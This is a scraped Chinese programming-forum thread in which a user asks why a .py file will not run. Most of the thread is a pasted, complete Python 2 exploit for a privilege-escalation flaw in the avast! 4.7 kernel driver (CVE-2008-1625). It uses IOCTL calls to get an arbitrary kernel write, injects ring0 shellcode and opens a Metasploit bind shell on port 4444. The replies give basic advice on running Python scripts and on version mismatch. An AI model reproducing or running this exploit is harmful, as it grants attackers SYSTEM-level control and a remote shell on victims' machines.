.py文件无法运行

ciodragon 2010-05-07 11:58:56
#!/usr/bin/python  

# avast! 4.7 aavmker4.sys privilege escalation

# http://www.trapkit.de/advisories/TKADV2008-002.txt

# CVE-2008-1625

# Tested on WindXpSp2/Sp3 Dep ON

# Matteo Memelli ryujin __A-T__ offensive-security.com

# www.offensive-security.com

# Spaghetti & Pwnsauce - 17/04/2010

# Tested on WinXPSP2/SP3 english | avast! 4.7.1098.0

from ctypes import *

import time, struct, sys, thread, os



kernel32 = windll.kernel32

Psapi = windll.Psapi



def findSysBase(drv):

print "(+) Retrieving %s base address..." % drv

ARRAY_SIZE = 1024

myarray = c_ulong * ARRAY_SIZE

lpImageBase = myarray()

cb = c_int(1024)

lpcbNeeded = c_long()

drivername_size = c_long()

drivername_size.value = 48

Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))

for baseaddy in lpImageBase:

drivername = c_char_p("\x00"*drivername_size.value)

if baseaddy:

Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,

drivername_size.value)

if drivername.value.lower() == drv:

print "(+) Address retrieved: %s" % hex(baseaddy)

return baseaddy

return None



def checkShell():

check = "netstat -an | find \"4444\""

res = os.popen(check)

ret = res.read()

res.close()

if ret.find("0.0.0.0:4444") != -1:

return True

else:

return False



def kickLsass():

time.sleep(10)

lsas1 = "echo hola | runas /user:administrator cmd.exe > NUL"

lsas2 = "net use \\\\127.0.0.1 /user:administrator test > NUL"

nc = "nc 127.0.0.1 4444"

print "(!) NO BSOD? good sign :)"

print "(*) Sleeping 60 secs before the Woshi finger hold..."

time.sleep(60)

# Trying to kick ls-ass, any auth good or failed should help

# if this doesn't work for you try to rdp to the vuln box or

# logout/login from console... it's rough but should work ;)

print "(+) Trying to fail an auth to trigger syscall..."

os.system(lsas1)

time.sleep(1)

os.system(lsas2)

while 1:

res = checkShell()

if res:

print "($) Shell is ready 0.0.0.0:4444"

#os.system(nc)

#print "(-) netcat not in path but shell is open!"

break

print "(*) Retrying. Sleeping 30 secs..."

time.sleep(30)

print "(+) Trying to fail an auth to trigger syscall..."

os.system(lsas1)

time.sleep(1)

os.system(lsas2)



def pwnDrv(driver_handle2, IOCTL_EIP, stor_input, stor_size, stor_output,

out_size, dwReturn1):

# We trigger func pointer to control EIP

time.sleep(5)

print "(+) Owning EIP..."

for i in range(1,3):

print "(+) Triggering function pointer: %d/2" % i

dev_ioctl = kernel32.DeviceIoControl(driver_handle2, IOCTL_EIP, stor_input,

stor_size, stor_output, out_size,

byref(dwReturn1), None)

time.sleep(0.5)





...全文
1018 13 打赏 收藏 转发到动态 举报
写回复
用AI写文章
13 条回复
切换为时间正序
请发表友善的回复…
发表回复
jamseyang 2010-05-10
  • 打赏
  • 举报
回复
溢出????
jamseyang 2010-05-10
  • 打赏
  • 举报
回复
[Quote=引用 3 楼 luotuo512 的回复:]
安装python后,有两种运行方式:
lz的例子很邪恶,如果不是工作需要还是不要搞这些了。
[/Quote]
请问这段代码是干吗用的呀?
mzlogin 2010-05-09
  • 打赏
  • 举报
回复
额。。。
我装的3.1的。。。
帮不了楼主了。
我一般做法是
demo.py   --》VIM打开
在VIM里
:!python demo.py
ciodragon 2010-05-08
  • 打赏
  • 举报
回复
刚刚学Python,只想知道怎么用,不想知道怎么编,但是在刚用的时候就出问题,不知道怎么运行.py文件,在网上查了,但是没有用呀,所以来这问问,详细见截图
1.在cmd下执行,但是却出现了截图里的错误
2.在run中点“run module”出现了截图里的错误:

在网上查了解决方法,但是我的情况特殊,所以来论坛求救了,高手莫笑,请帮个忙!
luotuo512 2010-05-08
  • 打赏
  • 举报
回复
你在idle中不行是因为你装的python是3.1版本的,你的程序只能运行在2.x版本的python上。
luotuo512 2010-05-08
  • 打赏
  • 举报
回复
我在idle中运行可以的
ciodragon 2010-05-08
  • 打赏
  • 举报
回复
[Quote=引用 3 楼 luotuo512 的回复:]
安装python后,有两种运行方式:
1.在idle中运行,把代码保存成py文件,在idle中按F5即可
2.在cmd中运行,记得把python路径加入系统变量,python 文件名.py

lz的例子很邪恶,如果不是工作需要还是不要搞这些了。
[/Quote]

都说了,第一种方法行不通,第二种方法则怎么添加环境变量呢?
luotuo512 2010-05-08
  • 打赏
  • 举报
回复
安装python后,有两种运行方式:
1.在idle中运行,把代码保存成py文件,在idle中按F5即可
2.在cmd中运行,记得把python路径加入系统变量,python 文件名.py

lz的例子很邪恶,如果不是工作需要还是不要搞这些了。
ciodragon 2010-05-08
  • 打赏
  • 举报
回复
[Quote=引用 9 楼 cjljfn 的回复:]
引用 3 楼 luotuo512 的回复:

安装python后,有两种运行方式:
1.在idle中运行,把代码保存成py文件,在idle中按F5即可
2.在cmd中运行,记得把python路径加入系统变量,python 文件名.py

lz的例子很邪恶,如果不是工作需要还是不要搞这些了。

是不是运行了一下?
[/Quote]


运行过来 弹出了:
这个提示框“invalid syntax”
CJljfn 2010-05-08
  • 打赏
  • 举报
回复
[Quote=引用 3 楼 luotuo512 的回复:]

安装python后,有两种运行方式:
1.在idle中运行,把代码保存成py文件,在idle中按F5即可
2.在cmd中运行,记得把python路径加入系统变量,python 文件名.py

lz的例子很邪恶,如果不是工作需要还是不要搞这些了。
[/Quote]
是不是运行了一下?
CJljfn 2010-05-08
  • 打赏
  • 举报
回复
把3.1的python卸掉,装上2.X的
ciodragon 2010-05-08
  • 打赏
  • 举报
回复
[Quote=引用 6 楼 luotuo512 的回复:]
你在idle中不行是因为你装的python是3.1版本的,你的程序只能运行在2.x版本的python上。
[/Quote]


那应该怎么办呢?(我的windows7 系统)
ciodragon 2010-05-07
  • 打赏
  • 举报
回复
if __name__ == '__main__':  

print "(*) avast! 4.7 aavmker4.sys privilege escalation"

print "(+) coded by Matteo Memelli aka ryujin -> at <- offsec.com"

print "(+) www.offsec.com || Spaghetti & Pwnsauce"

print "(+) tested on WinXPSP2/SP3 DEP On 17/04/2010"

GENERIC_READ = 0x80000000

GENERIC_WRITE = 0x40000000

OPEN_EXISTING = 0x3

CREATE_ALWAYS = 0x2

IOCTL_STOR = 0xb2d6001c # stores stuff to bypass checks in .data

IOCTL_VULN = 0xb2d60030 # writes to arbitrary memory

IOCTL_EIP = 0xb2d60020 # triggers function pointer to own EIP

# DosDevices\AAVMKER4 Device\AavmKer4

DEVICE_NAME = "\\\\.\\AavmKer4"

dwReturn1 = c_ulong()

dwReturn2 = c_ulong()

evil_size = 0x878

out_size = 0x1024

stor_size = 0x418

evil_output = ""

stor_output = ""

driver_name = 'aavmker4.sys'



# evil_input = 0x878

# Payload = 496 bytes

# ring0_migrate = 45 bytes || # \xf0\x01 bytes to copy

ring0_migrate = (

"\xfc\xfa\xeb\x24\x5e\x68\x76\x01\x00\x00\x59\x0f\x32\x89\x86\x69"

"\x00\x00\x00\x8b\xbe\x6d\x00\x00\x00\x89\xf8\x0f\x30\xb9\xf0\x01"

"\x00\x00\xf3\xa4\xfb\xf4\xeb\xfd\xe8\xd7\xff\xff\xff" )



# ring0_msr = 117 bytes

ring0_msr = (

"\x6a\x00\x9c\x60\xe8\x00\x00\x00\x00\x58\x8b\x98\x60\x00\x00\x00"

"\x89\x5c\x24\x24\x81\xf9\xde\xc0\xad\xde\x75\x10\x68\x76\x01\x00"

"\x00\x59\x89\xd8\x31\xd2\x0f\x30\x31\xc0\xeb\x3a\x8b\x32\x0f\xb6"

"\x1e\x66\x81\xfb\xc3\x00\x75\x2e\x8b\x98\x68\x00\x00\x00\x8d\x9b"

"\x75\x00\x00\x00\x89\x1a\xb8\x01\x00\x00\x80\x0f\xa2\x81\xe2\x00"

"\x00\x10\x00\x74\x11\xba\x00\xff\x3f\xc0\x81\xc2\x04\x00\x00\x00"

"\x81\x22\xff\xff\xff\x7f\x61\x9d\xc3\xff\xff\xff\xff\x00\x04\xdf"

"\xff\x00\x04\xfe\x7f" )



# ring3_stager = 61 bytes

ring3_stager = (

"\x60\x6a\x30\x58\x99\x64\x8b\x18\x39\x53\x0c\x74\x2e\x8b\x43\x10"

"\x8b\x40\x3c\x83\xc0\x28\x8b\x08\x03\x48\x03\x81\xf9\x6c\x61\x73"

"\x73\x75\x18\xe8\x0a\x00\x00\x00\xe8\x10\x00\x00\x00\xe9\x09\x00"

"\x00\x00\xb9\xde\xc0\xad\xde\x89\xe2\x0f\x34\x61\xc3" )



# msf payload: bindshell port 4444 318 bytes

ring3_shellcode = (

"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"

"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"

"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"

"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"

"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"

"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"

"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"

"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"

"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"

"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"

"\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"

"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"

"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"

"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"

"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"

"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"

"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"

"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"

"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"

"\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0\xc3" )



sysbase = findSysBase(driver_name)

if not sysbase:

print "(-) Couldn't retrieve driver base address, exiting..."

sys.exit()



driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,

0, None, CREATE_ALWAYS, 0, None)

driver_handle2 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,

0, None, CREATE_ALWAYS, 0, None)



# .data memory area we write to; offset from base = 0x2e04

read_data_from= struct.pack('L', sysbase+0x2e04) # calculate addy in .data

# r0_address = noplsed address, jump 0xfa bytes ahead to avoid a corrupted nop

r0_address = struct.pack('L', sysbase+0x23fa)

evil_input = r0_address*2 + "\x90"*0x102

evil_input += ring0_migrate + ring0_msr + ring3_stager + ring3_shellcode

evil_input += "\x41"*0x549

evil_input += read_data_from + "\x42\x42\x42\x42" # bypass input checks

stor_input = "\x43\x43\x43\x43" # padding

stor_input += "\x07\xAD\xDE\xD0" # cmp dword ptr [eax], 0D0DEAD07h

stor_input += "\xBA\xD0\xBA\x10" # cmp dword ptr [eax+4], 10BAD0BAh

stor_input += "\x44\x44\x44\x44"*2

# After arbitrary write to memory nt!KeSetEvent is called: we need to fix

# nt!KeSetEvent+0x32 using any addy pointing to value different to 0x01

# so we can use our "read_data_from" again.

stor_input += read_data_from

stor_input += "\x44\x44\x44\x44"

# 0x2300 offset from base: we write here to control a function pointer

# and own EIP

stor_input += struct.pack('L', sysbase+0x2300) + "\x45"*414



# trigger these later on...

thread.start_new(pwnDrv, (driver_handle2, IOCTL_EIP, stor_input, stor_size,

stor_output, out_size, dwReturn1))

thread.start_new(kickLsass, ())

###########################################################################



# And now let's own the boy:

if driver_handle1:

# We store values to overcome input checks

print "(+) Storing our precious in kernel space ;) ..."

dev_ioctl = kernel32.DeviceIoControl(driver_handle1, IOCTL_STOR, stor_input,

stor_size, stor_output, out_size,

byref(dwReturn1), None)

# We trigger arbitrary write

print "(*) Sending evil IOCTL..."

print "(+) Pwnage in progress...."

dev_ioctl = kernel32.DeviceIoControl(driver_handle1, IOCTL_VULN,

evil_input, evil_size, evil_output,

evil_size,

byref(dwReturn2), None)


37,720

社区成员

发帖
与我相关
我的任务
社区描述
JavaScript,VBScript,AngleScript,ActionScript,Shell,Perl,Ruby,Lua,Tcl,Scala,MaxScript 等脚本语言交流。
社区管理员
  • 脚本语言(Perl/Python)社区
  • IT.BOB
加入社区
  • 近7日
  • 近30日
  • 至今

试试用AI创作助手写篇文章吧